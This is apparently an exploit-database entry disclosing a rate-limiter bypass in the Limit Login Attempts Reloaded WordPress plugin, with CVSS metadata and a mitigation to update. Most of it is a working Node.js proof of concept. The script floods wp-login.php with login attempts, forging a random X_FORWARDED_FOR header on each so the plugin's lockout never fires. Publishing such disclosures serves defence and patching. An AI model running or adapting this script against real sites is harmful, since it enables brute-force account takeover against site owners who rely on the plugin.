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vendor:
Limit Login Attempts Reloaded
by:
isdampe
8.1
CVSS
HIGH
Rate Limiter Bypass
770
CWE
Product Name: Limit Login Attempts Reloaded
Affected Version From: 2.7.2004
Affected Version To: 2.7.2004
Patch Exists: YES
Related CWE:
CPE: a:wpchef:limit_login_attempts_reloaded:2.7.4
Metasploit:
Other Scripts:
Platforms Tested: WordPress 5.1.1
2019

Limit Login Attempts Reloaded by WPChef rate limiter bypass

The plugin's primary goal is to limit the rate at which an individual can attempt to authenticate with WordPress. Plugin has support for HTTP headers X_FORWARDED_FOR and X_SUCURI_CLIENTIP to allow rate limiting for users when web servers are behind a reverse proxy service. However, REMOTE_ADDR is not verified as a whitelisted proxy address, thus allowing an attacker to easily forge either the X_FORWARDED_FOR or X_SUCURI_CLIENTIP headers to completely bypass the rate limiting service.

Mitigation:

Update to the latest version of the plugin, as the vulnerability has been patched in version 2.7.5.
Source

Exploit-DB raw data:

#!/usr/bin/env node
const request = require("request")

/**
 * Exploit Title: Limit Login Attempts Reloaded by WPChef rate limiter bypass
 * Date: 2019-04-08
 * Exploit Author: isdampe
 * Software Link: https://wordpress.org/plugins/limit-login-attempts-reloaded
 * Version: 2.7.4
 * Tested on: WordPress 5.1.1
 *
 * Description
 * -----------
 *
 *  The plugin's primary goal is to limit the rate at which an individual can attempt
 *  to authenticate with WordPress. Plugin has support for HTTP headers 
 *  X_FORWARDED_FOR and X_SUCURI_CLIENTIP to allow rate limiting for users
 *  when web servers are behind a reverse proxy service.
 *  However, REMOTE_ADDR is not verified as a whitelisted proxy address, thus
 *  allowing an attacker to easily forge either the X_FORWARDED_FOR or 
 *  X_SUCURI_CLIENTIP headers to completely bypass the rate limiting service.
 *
 *  PoC
 *  ---
 */
class LoginRequest
{
	constructor(loginUri, numberOfRepititions) {
		this._loginUri = loginUri
		this._numberOfRepititions = numberOfRepititions
		this._count = 0
	}

	async process() {
		await this._sendRequest()
		if (this._count++ < this._numberOfRepititions)
			this.process()
	}

	async _sendRequest() {
		return new Promise(async (resolve, reject) => {
			console.log(`Sending request ${this._count}...`)

			request.post({
				url : this._loginUri,
				form: {
					"log": this._getRandomString(),
					"pwd": this._getRandomString(),
					"wp-submit": "Log+In",
					"redirect_to": "/wp-admin/",
					"testcookie": "1"
				},
				headers: {
					"X_FORWARDED_FOR": this._getRandomIp()
				}
			}, (err, res, body) => {
				if (err)
					console.error(err)

				if (body.indexOf("Too many failed") > -1) {
					reject("Login was rejected, exploit failed.")
					return
				}

				resolve()
				console.log(`\tRequest ${this._count} was not blocked`)
			})

		})
	}

	_getRandomString() {
		const map = "abcdefghijklmnopqrstuvwxyz0123456789"
		const length = Math.floor(Math.random() * 15) + 1
		let buffer = ""
		for (let i=0; i<length; ++i)
			buffer += Math.floor(Math.random() * map.length)

		return buffer
	}

	_getRandomIp() {
		const bits = []
		for (let x=0; x<4; ++x)
			bits.push(Math.floor(Math.random() * 254)) + 1
		return bits.join(".")
	}

}

if (process.argv.length < 4) {
	console.log("Usage: ./bypass-ip-block.js [url] [number_of_repititions]")
	console.log("\turl:                     The url pointing to wp-login.php, (e.g. http://localhost/wp-login.php)")
	console.log("\tnumber_of_repititions:   The number of login attempts to create (e.g. 500)")
	process.exit(1)
}

const session = new LoginRequest(process.argv[2], process.argv[3])
session.process()